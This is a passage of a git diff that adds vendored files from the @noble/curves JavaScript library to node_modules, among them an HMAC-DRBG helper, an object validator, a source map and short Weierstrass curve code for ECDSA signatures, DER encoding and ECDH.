hmacFn !== 'function') + throw new Error('hmacFn must be a function'); + // Step B, Step C: set hashLen to 8*ceil(hlen/8) + let v = u8n(hashLen); // Minimal non-full-spec HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + let k = u8n(hashLen); // Steps B and C of RFC6979 3.2: set hashLen, in our case always same + let i = 0; // Iterations counter, will throw when over 1000 + const reset = () => { + v.fill(1); + k.fill(0); + i = 0; + }; + const h = (...b) => hmacFn(k, v, ...b); // hmac(k)(v, ...values) + const reseed = (seed = u8n()) => { + // HMAC-DRBG reseed() function. Steps D-G + k = h(u8fr([0x00]), seed); // k = hmac(k || v || 0x00 || seed) + v = h(); // v = hmac(k || v) + if (seed.length === 0) + return; + k = h(u8fr([0x01]), seed); // k = hmac(k || v || 0x01 || seed) + v = h(); // v = hmac(k || v) + }; + const gen = () => { + // HMAC-DRBG generate() function + if (i++ >= 1000) + throw new Error('drbg: tried 1000 values'); + let len = 0; + const out = []; + while (len < qByteLen) { + v = h(); + const sl = v.slice(); + out.push(sl); + len += v.length; + } + return concatBytes(...out); + }; + const genUntil = (seed, pred) => { + reset(); + reseed(seed); // Steps D-G + let res = undefined; // Step H: grind until k is in [1..n-1] + while (!(res = pred(gen()))) + reseed(); + reset(); + return res; + }; + return genUntil; +} +// Validating curves and fields +const validatorFns = { + bigint: (val) => typeof val === 'bigint', + function: (val) => typeof val === 'function', + boolean: (val) => typeof val === 'boolean', + string: (val) => typeof val === 'string', + stringOrUint8Array: (val) => typeof val === 'string' || val instanceof Uint8Array, + isSafeInteger: (val) => Number.isSafeInteger(val), + array: (val) => Array.isArray(val), + field: (val, object) => object.Fp.isValid(val), + hash: (val) => typeof val === 'function' && Number.isSafeInteger(val.outputLen), +}; +// type Record = { [P in K]: T; } +export function validateObject(object, validators, optValidators = {}) { + const checkField = (fieldName, type, isOptional) => { + const checkVal = validatorFns[type]; + if (typeof checkVal !== 'function') + throw new Error(`Invalid validator "${type}", expected function`); + const val = object[fieldName]; + if (isOptional && val === undefined) + return; + if (!checkVal(val, object)) { + throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`); + } + }; + for (const [fieldName, type] of Object.entries(validators)) + checkField(fieldName, type, false); + for (const [fieldName, type] of Object.entries(optValidators)) + checkField(fieldName, type, true); + return object; +} +// validate type tests +// const o: { a: number; b: number; c: number } = { a: 1, b: 5, c: 6 }; +// const z0 = validateObject(o, { a: 'isSafeInteger' }, { c: 'bigint' }); // Ok! +// // Should fail type-check +// const z1 = validateObject(o, { a: 'tmp' }, { c: 'zz' }); +// const z2 = validateObject(o, { a: 'isSafeInteger' }, { c: 'zz' }); +// const z3 = validateObject(o, { test: 'boolean', z: 'bug' }); +// const z4 = validateObject(o, { a: 'boolean', z: 'bug' }); +//# sourceMappingURL=utils.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/utils.js.map b/node_modules/@noble/curves/esm/abstract/utils.js.map new file mode 100644 index 000000000000..f86d0570043b --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.js","sourceRoot":"","sources":["../../src/abstract/utils.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,0EAA0E;AAC1E,8DAA8D;AAC9D,+EAA+E;AAC/E,uCAAuC;AACvC,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACtB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACtB,MAAM,GAAG,GAAG,MAAM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EAAE,IAAK,EAAE,KAAK,CAAC,CAAC;IAChG,KAAK,MAAM,CAAC,SAAS,EAAE,IAAI,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,aAAa,CAAC;QAAE,UAAU,CAAC,SAAS,EAAE,IAAK,EAAE,IAAI,CAAC,CAAC;IAClG,OAAO,MAAM,CAAC;AAChB,CAAC;AACD,sBAAsB;AACtB,uEAAuE;AACvE,gFAAgF;AAChF,4BAA4B;AAC5B,2DAA2D;AAC3D,qEAAqE;AACrE,+DAA+D;AAC/D,4DAA4D"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/weierstrass.js b/node_modules/@noble/curves/esm/abstract/weierstrass.js new file mode 100644 index 000000000000..5a6658755776 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/weierstrass.js @@ -0,0 +1,1056 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Short Weierstrass curve. The formula is: y² = x³ + ax + b +import * as mod from './modular.js'; +import * as ut from './utils.js'; +import { ensureBytes } from './utils.js'; +import { wNAF, validateBasic } from './curve.js'; +function validatePointOpts(curve) { + const opts = validateBasic(curve); + ut.validateObject(opts, { + a: 'field', + b: 'field', + }, { + allowedPrivateKeyLengths: 'array', + wrapPrivateKey: 'boolean', + isTorsionFree: 'function', + clearCofactor: 'function', + allowInfinityPoint: 'boolean', + fromBytes: 'function', + toBytes: 'function', + }); + const { endo, Fp, a } = opts; + if (endo) { + if (!Fp.eql(a, Fp.ZERO)) { + throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0'); + } + if (typeof endo !== 'object' || + typeof endo.beta !== 'bigint' || + typeof endo.splitScalar !== 'function') { + throw new Error('Expected endomorphism with beta: bigint and splitScalar: function'); + } + } + return Object.freeze({ ...opts }); +} +// ASN.1 DER encoding utilities +const { bytesToNumberBE: b2n, hexToBytes: h2b } = ut; +export const DER = { + // asn.1 DER encoding utils + Err: class DERErr extends Error { + constructor(m = '') { + super(m); + } + }, + _parseInt(data) { + const { Err: E } = DER; + if (data.length < 2 || data[0] !== 0x02) + throw new E('Invalid signature integer tag'); + const len = data[1]; + const res = data.subarray(2, len + 2); + if (!len || res.length !== len) + throw new E('Invalid signature integer: wrong length'); + // https://crypto.stackexchange.com/a/57734 Leftmost bit of first byte is 'negative' flag, + // since we always use positive integers here. It must always be empty: + // - add zero byte if exists + // - if next byte doesn't have a flag, leading zero is not allowed (minimal encoding) + if (res[0] & 0b10000000) + throw new E('Invalid signature integer: negative'); + if (res[0] === 0x00 && !(res[1] & 0b10000000)) + throw new E('Invalid signature integer: unnecessary leading zero'); + return { d: b2n(res), l: data.subarray(len + 2) }; // d is data, l is left + }, + toSig(hex) { + // parse DER signature + const { Err: E } = DER; + const data = typeof hex === 'string' ? h2b(hex) : hex; + if (!(data instanceof Uint8Array)) + throw new Error('ui8a expected'); + let l = data.length; + if (l < 2 || data[0] != 0x30) + throw new E('Invalid signature tag'); + if (data[1] !== l - 2) + throw new E('Invalid signature: incorrect length'); + const { d: r, l: sBytes } = DER._parseInt(data.subarray(2)); + const { d: s, l: rBytesLeft } = DER._parseInt(sBytes); + if (rBytesLeft.length) + throw new E('Invalid signature: left bytes after parsing'); + return { r, s }; + }, + hexFromSig(sig) { + // Add leading zero if first byte has negative bit enabled. More details in '_parseInt' + const slice = (s) => (Number.parseInt(s[0], 16) & 0b1000 ? '00' + s : s); + const h = (num) => { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; + }; + const s = slice(h(sig.s)); + const r = slice(h(sig.r)); + const shl = s.length / 2; + const rhl = r.length / 2; + const sl = h(shl); + const rl = h(rhl); + return `30${h(rhl + shl + 4)}02${rl}${r}02${sl}${s}`; + }, +}; +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4); +export function weierstrassPoints(opts) { + const CURVE = validatePointOpts(opts); + const { Fp } = CURVE; // All curves has same field / group length as for now, but they can differ + const toBytes = CURVE.toBytes || + ((_c, point, _isCompressed) => { + const a = point.toAffine(); + return ut.concatBytes(Uint8Array.from([0x04]), Fp.toBytes(a.x), Fp.toBytes(a.y)); + }); + const fromBytes = CURVE.fromBytes || + ((bytes) => { + // const head = bytes[0]; + const tail = bytes.subarray(1); + // if (head !== 0x04) throw new Error('Only non-compressed encoding is supported'); + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + }); + /** + * y² = x³ + ax + b: Short weierstrass curve formula + * @returns y² + */ + function weierstrassEquation(x) { + const { a, b } = CURVE; + const x2 = Fp.sqr(x); // x * x + const x3 = Fp.mul(x2, x); // x2 * x + return Fp.add(Fp.add(x3, Fp.mul(x, a)), b); // x3 + a * x + b + } + // Validate whether the passed curve params are valid. + // We check if curve equation works for generator point. + // `assertValidity()` won't work: `isTorsionFree()` is not available at this point in bls12-381. + // ProjectivePoint class has not been initialized yet. + if (!Fp.eql(Fp.sqr(CURVE.Gy), weierstrassEquation(CURVE.Gx))) + throw new Error('bad generator point: equation left != right'); + // Valid group elements reside in range 1..n-1 + function isWithinCurveOrder(num) { + return typeof num === 'bigint' && _0n < num && num < CURVE.n; + } + function assertGE(num) { + if (!isWithinCurveOrder(num)) + throw new Error('Expected valid bigint: 0 < bigint < curve.n'); + } + // Validates if priv key is valid and converts it to bigint. + // Supports options allowedPrivateKeyLengths and wrapPrivateKey. + function normPrivateKeyToScalar(key) { + const { allowedPrivateKeyLengths: lengths, nByteLength, wrapPrivateKey, n } = CURVE; + if (lengths && typeof key !== 'bigint') { + if (key instanceof Uint8Array) + key = ut.bytesToHex(key); + // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes + if (typeof key !== 'string' || !lengths.includes(key.length)) + throw new Error('Invalid key'); + key = key.padStart(nByteLength * 2, '0'); + } + let num; + try { + num = + typeof key === 'bigint' + ? key + : ut.bytesToNumberBE(ensureBytes('private key', key, nByteLength)); + } + catch (error) { + throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`); + } + if (wrapPrivateKey) + num = mod.mod(num, n); // disabled by default, enabled for BLS + assertGE(num); // num in range [1..N-1] + return num; + } + const pointPrecomputes = new Map(); + function assertPrjPoint(other) { + if (!(other instanceof Point)) + throw new Error('ProjectivePoint expected'); + } + /** + * Projective Point works in 3d / projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z) + * Default Point works in 2d / affine coordinates: (x, y) + * We're doing calculations in projective, because its operations don't require costly inversion. + */ + class Point { + constructor(px, py, pz) { + this.px = px; + this.py = py; + this.pz = pz; + if (px == null || !Fp.isValid(px)) + throw new Error('x required'); + if (py == null || !Fp.isValid(py)) + throw new Error('y required'); + if (pz == null || !Fp.isValid(pz)) + throw new Error('z required'); + } + // Does not validate if the point is on-curve. + // Use fromHex instead, or call assertValidity() later. + static fromAffine(p) { + const { x, y } = p || {}; + if (!p || !Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('invalid affine point'); + if (p instanceof Point) + throw new Error('projective point not allowed'); + const is0 = (i) => Fp.eql(i, Fp.ZERO); + // fromAffine(x:0, y:0) would produce (x:0, y:0, z:1), but we need (x:0, y:1, z:0) + if (is0(x) && is0(y)) + return Point.ZERO; + return new Point(x, y, Fp.ONE); + } + get x() { + return this.toAffine().x; + } + get y() { + return this.toAffine().y; + } + /** + * Takes a bunch of Projective Points but executes only one + * inversion on all of them. Inversion is very slow operation, + * so this improves performance massively. + * Optimization: converts a list of projective points to a list of identical points with Z=1. + */ + static normalizeZ(points) { + const toInv = Fp.invertBatch(points.map((p) => p.pz)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + /** + * Converts hash string or Uint8Array to Point. + * @param hex short/long ECDSA hex + */ + static fromHex(hex) { + const P = Point.fromAffine(fromBytes(ensureBytes('pointHex', hex))); + P.assertValidity(); + return P; + } + // Multiplies generator point by privateKey. + static fromPrivateKey(privateKey) { + return Point.BASE.multiply(normPrivateKeyToScalar(privateKey)); + } + // "Private method", don't use it directly + _setWindowSize(windowSize) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + // A point on curve is valid if it conforms to equation. + assertValidity() { + if (this.is0()) { + // (0, 1, 0) aka ZERO is invalid in most contexts. + // In BLS, ZERO can be serialized, so we allow it. + // (0, 0, 0) is wrong representation of ZERO and is always invalid. + if (CURVE.allowInfinityPoint && !Fp.is0(this.py)) + return; + throw new Error('bad point: ZERO'); + } + // Some 3rd-party test vectors require different wording between here & `fromCompressedHex` + const { x, y } = this.toAffine(); + // Check if x, y are valid field elements + if (!Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('bad point: x or y not FE'); + const left = Fp.sqr(y); // y² + const right = weierstrassEquation(x); // x³ + ax + b + if (!Fp.eql(left, right)) + throw new Error('bad point: equation left != right'); + if (!this.isTorsionFree()) + throw new Error('bad point: not in prime-order subgroup'); + } + hasEvenY() { + const { y } = this.toAffine(); + if (Fp.isOdd) + return !Fp.isOdd(y); + throw new Error("Field doesn't support isOdd"); + } + /** + * Compare one point to another. + */ + equals(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1)); + const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1)); + return U1 && U2; + } + /** + * Flips point to one corresponding to (x, -y) in Affine coordinates. + */ + negate() { + return new Point(this.px, Fp.neg(this.py), this.pz); + } + // Renes-Costello-Batina exception-free doubling formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 3 + // Cost: 8M + 3S + 3*a + 2*b3 + 15add. + double() { + const { a, b } = CURVE; + const b3 = Fp.mul(b, _3n); + const { px: X1, py: Y1, pz: Z1 } = this; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + let t0 = Fp.mul(X1, X1); // step 1 + let t1 = Fp.mul(Y1, Y1); + let t2 = Fp.mul(Z1, Z1); + let t3 = Fp.mul(X1, Y1); + t3 = Fp.add(t3, t3); // step 5 + Z3 = Fp.mul(X1, Z1); + Z3 = Fp.add(Z3, Z3); + X3 = Fp.mul(a, Z3); + Y3 = Fp.mul(b3, t2); + Y3 = Fp.add(X3, Y3); // step 10 + X3 = Fp.sub(t1, Y3); + Y3 = Fp.add(t1, Y3); + Y3 = Fp.mul(X3, Y3); + X3 = Fp.mul(t3, X3); + Z3 = Fp.mul(b3, Z3); // step 15 + t2 = Fp.mul(a, t2); + t3 = Fp.sub(t0, t2); + t3 = Fp.mul(a, t3); + t3 = Fp.add(t3, Z3); + Z3 = Fp.add(t0, t0); // step 20 + t0 = Fp.add(Z3, t0); + t0 = Fp.add(t0, t2); + t0 = Fp.mul(t0, t3); + Y3 = Fp.add(Y3, t0); + t2 = Fp.mul(Y1, Z1); // step 25 + t2 = Fp.add(t2, t2); + t0 = Fp.mul(t2, t3); + X3 = Fp.sub(X3, t0); + Z3 = Fp.mul(t2, t1); + Z3 = Fp.add(Z3, Z3); // step 30 + Z3 = Fp.add(Z3, Z3); + return new Point(X3, Y3, Z3); + } + // Renes-Costello-Batina exception-free addition formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 1 + // Cost: 12M + 0S + 3*a + 3*b3 + 23add. + add(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + const a = CURVE.a; + const b3 = Fp.mul(CURVE.b, _3n); + let t0 = Fp.mul(X1, X2); // step 1 + let t1 = Fp.mul(Y1, Y2); + let t2 = Fp.mul(Z1, Z2); + let t3 = Fp.add(X1, Y1); + let t4 = Fp.add(X2, Y2); // step 5 + t3 = Fp.mul(t3, t4); + t4 = Fp.add(t0, t1); + t3 = Fp.sub(t3, t4); + t4 = Fp.add(X1, Z1); + let t5 = Fp.add(X2, Z2); // step 10 + t4 = Fp.mul(t4, t5); + t5 = Fp.add(t0, t2); + t4 = Fp.sub(t4, t5); + t5 = Fp.add(Y1, Z1); + X3 = Fp.add(Y2, Z2); // step 15 + t5 = Fp.mul(t5, X3); + X3 = Fp.add(t1, t2); + t5 = Fp.sub(t5, X3); + Z3 = Fp.mul(a, t4); + X3 = Fp.mul(b3, t2); // step 20 + Z3 = Fp.add(X3, Z3); + X3 = Fp.sub(t1, Z3); + Z3 = Fp.add(t1, Z3); + Y3 = Fp.mul(X3, Z3); + t1 = Fp.add(t0, t0); // step 25 + t1 = Fp.add(t1, t0); + t2 = Fp.mul(a, t2); + t4 = Fp.mul(b3, t4); + t1 = Fp.add(t1, t2); + t2 = Fp.sub(t0, t2); // step 30 + t2 = Fp.mul(a, t2); + t4 = Fp.add(t4, t2); + t0 = Fp.mul(t1, t4); + Y3 = Fp.add(Y3, t0); + t0 = Fp.mul(t5, t4); // step 35 + X3 = Fp.mul(t3, X3); + X3 = Fp.sub(X3, t0); + t0 = Fp.mul(t3, t1); + Z3 = Fp.mul(t5, Z3); + Z3 = Fp.add(Z3, t0); // step 40 + return new Point(X3, Y3, Z3); + } + subtract(other) { + return this.add(other.negate()); + } + is0() { + return this.equals(Point.ZERO); + } + wNAF(n) { + return wnaf.wNAFCached(this, pointPrecomputes, n, (comp) => { + const toInv = Fp.invertBatch(comp.map((p) => p.pz)); + return comp.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + }); + } + /** + * Non-constant-time multiplication. Uses double-and-add algorithm. + * It's faster, but should only be used when you don't care about + * an exposed private key e.g. sig verification, which works over *public* keys. + */ + multiplyUnsafe(n) { + const I = Point.ZERO; + if (n === _0n) + return I; + assertGE(n); // Will throw on 0 + if (n === _1n) + return this; + const { endo } = CURVE; + if (!endo) + return wnaf.unsafeLadder(this, n); + // Apply endomorphism + let { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let k1p = I; + let k2p = I; + let d = this; + while (k1 > _0n || k2 > _0n) { + if (k1 & _1n) + k1p = k1p.add(d); + if (k2 & _1n) + k2p = k2p.add(d); + d = d.double(); + k1 >>= _1n; + k2 >>= _1n; + } + if (k1neg) + k1p = k1p.negate(); + if (k2neg) + k2p = k2p.negate(); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + return k1p.add(k2p); + } + /** + * Constant time multiplication. + * Uses wNAF method. Windowed method may be 10% faster, + * but takes 2x longer to generate and consumes 2x memory. + * Uses precomputes when available. + * Uses endomorphism for Koblitz curves. + * @param scalar by which the point would be multiplied + * @returns New point + */ + multiply(scalar) { + assertGE(scalar); + let n = scalar; + let point, fake; // Fake point is used to const-time mult + const { endo } = CURVE; + if (endo) { + const { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let { p: k1p, f: f1p } = this.wNAF(k1); + let { p: k2p, f: f2p } = this.wNAF(k2); + k1p = wnaf.constTimeNegate(k1neg, k1p); + k2p = wnaf.constTimeNegate(k2neg, k2p); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + point = k1p.add(k2p); + fake = f1p.add(f2p); + } + else { + const { p, f } = this.wNAF(n); + point = p; + fake = f; + } + // Normalize `z` for both points, but return only real one + return Point.normalizeZ([point, fake])[0]; + } + /** + * Efficiently calculate `aP + bQ`. Unsafe, can expose private key, if used incorrectly. + * Not using Strauss-Shamir trick: precomputation tables are faster. + * The trick could be useful if both P and Q are not G (not in our case). + * @returns non-zero affine point + */ + multiplyAndAddUnsafe(Q, a, b) { + const G = Point.BASE; // No Strauss-Shamir trick: we have 10% faster G precomputes + const mul = (P, a // Select faster multiply() method + ) => (a === _0n || a === _1n || !P.equals(G) ? P.multiplyUnsafe(a) : P.multiply(a)); + const sum = mul(this, a).add(mul(Q, b)); + return sum.is0() ? undefined : sum; + } + // Converts Projective point to affine (x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + // (x, y, z) ∋ (x=x/z, y=y/z) + toAffine(iz) { + const { px: x, py: y, pz: z } = this; + const is0 = this.is0(); + // If invZ was 0, we return zero point. However we still want to execute + // all operations, so we replace invZ with a random number, 1. + if (iz == null) + iz = is0 ? Fp.ONE : Fp.inv(z); + const ax = Fp.mul(x, iz); + const ay = Fp.mul(y, iz); + const zz = Fp.mul(z, iz); + if (is0) + return { x: Fp.ZERO, y: Fp.ZERO }; + if (!Fp.eql(zz, Fp.ONE)) + throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + isTorsionFree() { + const { h: cofactor, isTorsionFree } = CURVE; + if (cofactor === _1n) + return true; // No subgroups, always torsion-free + if (isTorsionFree) + return isTorsionFree(Point, this); + throw new Error('isTorsionFree() has not been declared for the elliptic curve'); + } + clearCofactor() { + const { h: cofactor, clearCofactor } = CURVE; + if (cofactor === _1n) + return this; // Fast-path + if (clearCofactor) + return clearCofactor(Point, this); + return this.multiplyUnsafe(CURVE.h); + } + toRawBytes(isCompressed = true) { + this.assertValidity(); + return toBytes(Point, this, isCompressed); + } + toHex(isCompressed = true) { + return ut.bytesToHex(this.toRawBytes(isCompressed)); + } + } + Point.BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE); + Point.ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO); + const _bits = CURVE.nBitLength; + const wnaf = wNAF(Point, CURVE.endo ? Math.ceil(_bits / 2) : _bits); + // Validate if generator point is on curve + return { + CURVE, + ProjectivePoint: Point, + normPrivateKeyToScalar, + weierstrassEquation, + isWithinCurveOrder, + }; +} +function validateOpts(curve) { + const opts = validateBasic(curve); + ut.validateObject(opts, { + hash: 'hash', + hmac: 'function', + randomBytes: 'function', + }, { + bits2int: 'function', + bits2int_modN: 'function', + lowS: 'boolean', + }); + return Object.freeze({ lowS: true, ...opts }); +} +export function weierstrass(curveDef) { + const CURVE = validateOpts(curveDef); + const { Fp, n: CURVE_ORDER } = CURVE; + const compressedLen = Fp.BYTES + 1; // e.g. 33 for 32 + const uncompressedLen = 2 * Fp.BYTES + 1; // e.g. 65 for 32 + function isValidFieldElement(num) { + return _0n < num && num < Fp.ORDER; // 0 is banned since it's not invertible FE + } + function modN(a) { + return mod.mod(a, CURVE_ORDER); + } + function invN(a) { + return mod.invert(a, CURVE_ORDER); + } + const { ProjectivePoint: Point, normPrivateKeyToScalar, weierstrassEquation, isWithinCurveOrder, } = weierstrassPoints({ + ...CURVE, + toBytes(_c, point, isCompressed) { + const a = point.toAffine(); + const x = Fp.toBytes(a.x); + const cat = ut.concatBytes; + if (isCompressed) { + return cat(Uint8Array.from([point.hasEvenY() ? 0x02 : 0x03]), x); + } + else { + return cat(Uint8Array.from([0x04]), x, Fp.toBytes(a.y)); + } + }, + fromBytes(bytes) { + const len = bytes.length; + const head = bytes[0]; + const tail = bytes.subarray(1); + // this.assertValidity() is done inside of fromHex + if (len === compressedLen && (head === 0x02 || head === 0x03)) { + const x = ut.bytesToNumberBE(tail); + if (!isValidFieldElement(x)) + throw new Error('Point is not on curve'); + const y2 = weierstrassEquation(x); // y² = x³ + ax + b + let y = Fp.sqrt(y2); // y = y² ^ (p+1)/4 + const isYOdd = (y & _1n) === _1n; + // ECDSA + const isHeadOdd = (head & 1) === 1; + if (isHeadOdd !== isYOdd) + y = Fp.neg(y); + return { x, y }; + } + else if (len === uncompressedLen && head === 0x04) { + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + } + else { + throw new Error(`Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes`); + } + }, + }); + const numToNByteStr = (num) => ut.bytesToHex(ut.numberToBytesBE(num, CURVE.nByteLength)); + function isBiggerThanHalfOrder(number) { + const HALF = CURVE_ORDER >> _1n; + return number > HALF; + } + function normalizeS(s) { + return isBiggerThanHalfOrder(s) ? modN(-s) : s; + } + // slice bytes num + const slcNum = (b, from, to) => ut.bytesToNumberBE(b.slice(from, to)); + /** + * ECDSA signature with its (r, s) properties. Supports DER & compact representations. + */ + class Signature { + constructor(r, s, recovery) { + this.r = r; + this.s = s; + this.recovery = recovery; + this.assertValidity(); + } + // pair (bytes of r, bytes of s) + static fromCompact(hex) { + const l = CURVE.nByteLength; + hex = ensureBytes('compactSignature', hex, l * 2); + return new Signature(slcNum(hex, 0, l), slcNum(hex, l, 2 * l)); + } + // DER encoded ECDSA signature + // https://bitcoin.stackexchange.com/questions/57644/what-are-the-parts-of-a-bitcoin-transaction-input-script + static fromDER(hex) { + const { r, s } = DER.toSig(ensureBytes('DER', hex)); + return new Signature(r, s); + } + assertValidity() { + // can use assertGE here + if (!isWithinCurveOrder(this.r)) + throw new Error('r must be 0 < r < CURVE.n'); + if (!isWithinCurveOrder(this.s)) + throw new Error('s must be 0 < s < CURVE.n'); + } + addRecoveryBit(recovery) { + return new Signature(this.r, this.s, recovery); + } + recoverPublicKey(msgHash) { + const { r, s, recovery: rec } = this; + const h = bits2int_modN(ensureBytes('msgHash', msgHash)); // Truncate hash + if (rec == null || ![0, 1, 2, 3].includes(rec)) + throw new Error('recovery id invalid'); + const radj = rec === 2 || rec === 3 ? r + CURVE.n : r; + if (radj >= Fp.ORDER) + throw new Error('recovery id 2 or 3 invalid'); + const prefix = (rec & 1) === 0 ? '02' : '03'; + const R = Point.fromHex(prefix + numToNByteStr(radj)); + const ir = invN(radj); // r^-1 + const u1 = modN(-h * ir); // -hr^-1 + const u2 = modN(s * ir); // sr^-1 + const Q = Point.BASE.multiplyAndAddUnsafe(R, u1, u2); // (sr^-1)R-(hr^-1)G = -(hr^-1)G + (sr^-1) + if (!Q) + throw new Error('point at infinify'); // unsafe is fine: no priv data leaked + Q.assertValidity(); + return Q; + } + // Signatures should be low-s, to prevent malleability. + hasHighS() { + return isBiggerThanHalfOrder(this.s); + } + normalizeS() { + return this.hasHighS() ? new Signature(this.r, modN(-this.s), this.recovery) : this; + } + // DER-encoded + toDERRawBytes() { + return ut.hexToBytes(this.toDERHex()); + } + toDERHex() { + return DER.hexFromSig({ r: this.r, s: this.s }); + } + // padded bytes of r, then padded bytes of s + toCompactRawBytes() { + return ut.hexToBytes(this.toCompactHex()); + } + toCompactHex() { + return numToNByteStr(this.r) + numToNByteStr(this.s); + } + } + const utils = { + isValidPrivateKey(privateKey) { + try { + normPrivateKeyToScalar(privateKey); + return true; + } + catch (error) { + return false; + } + }, + normPrivateKeyToScalar: normPrivateKeyToScalar, + /** + * Produces cryptographically secure private key from random of size + * (groupLen + ceil(groupLen / 2)) with modulo bias being negligible. + */ + randomPrivateKey: () => { + const length = mod.getMinHashLength(CURVE.n); + return mod.mapHashToField(CURVE.randomBytes(length), CURVE.n); + }, + /** + * Creates precompute table for an arbitrary EC point. Makes point "cached". + * Allows to massively speed-up `point.multiply(scalar)`. + * @returns cached point + * @example + * const fast = utils.precompute(8, ProjectivePoint.fromHex(someonesPubKey)); + * fast.multiply(privKey); // much faster ECDH now + */ + precompute(windowSize = 8, point = Point.BASE) { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); // 3 is arbitrary, just need any number here + return point; + }, + }; + /** + * Computes public key for a private key. Checks for validity of the private key. + * @param privateKey private key + * @param isCompressed whether to return compact (default), or full key + * @returns Public key, full when isCompressed=false; short when isCompressed=true + */ + function getPublicKey(privateKey, isCompressed = true) { + return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed); + } + /** + * Quick and dirty check for item being public key. Does not validate hex, or being on-curve. + */ + function isProbPub(item) { + const arr = item instanceof Uint8Array; + const str = typeof item === 'string'; + const len = (arr || str) && item.length; + if (arr) + return len === compressedLen || len === uncompressedLen; + if (str) + return len === 2 * compressedLen || len === 2 * uncompressedLen; + if (item instanceof Point) + return true; + return false; + } + /** + * ECDH (Elliptic Curve Diffie Hellman). + * Computes shared public key from private key and public key. + * Checks: 1) private key validity 2) shared key is on-curve. + * Does NOT hash the result. + * @param privateA private key + * @param publicB different public key + * @param isCompressed whether to return compact (default), or full key + * @returns shared public key + */ + function getSharedSecret(privateA, publicB, isCompressed = true) { + if (isProbPub(privateA)) + throw new Error('first arg must be private key'); + if (!isProbPub(publicB)) + throw new Error('second arg must be public key'); + const b = Point.fromHex(publicB); // check for being on-curve + return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed); + } + // RFC6979: ensure ECDSA msg is X bytes and < N. RFC suggests optional truncating via bits2octets. + // FIPS 186-4 4.6 suggests the leftmost min(nBitLen, outLen) bits, which matches bits2int. + // bits2int can produce res>N, we can do mod(res, N) since the bitLen is the same. + // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors + const bits2int = CURVE.bits2int || + function (bytes) { + // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m) + // for some cases, since bytes.length * 8 is not actual bitLength. + const num = ut.bytesToNumberBE(bytes); // check for == u8 done here + const delta = bytes.length * 8 - CURVE.nBitLength; // truncate to nBitLength leftmost bits + return delta > 0 ? num >> BigInt(delta) : num; + }; + const bits2int_modN = CURVE.bits2int_modN || + function (bytes) { + return modN(bits2int(bytes)); // can't use bytesToNumberBE here + }; + // NOTE: pads output with zero as per spec + const ORDER_MASK = ut.bitMask(CURVE.nBitLength); + /** + * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`. + */ + function int2octets(num) { + if (typeof num !== 'bigint') + throw new Error('bigint expected'); + if (!(_0n <= num && num < ORDER_MASK)) + throw new Error(`bigint expected < 2^${CURVE.nBitLength}`); + // works with order, can have different size than numToField! + return ut.numberToBytesBE(num, CURVE.nByteLength); + } + // Steps A, D of RFC6979 3.2 + // Creates RFC6979 seed; converts msg/privKey to numbers. + // Used only in sign, not in verify. + // 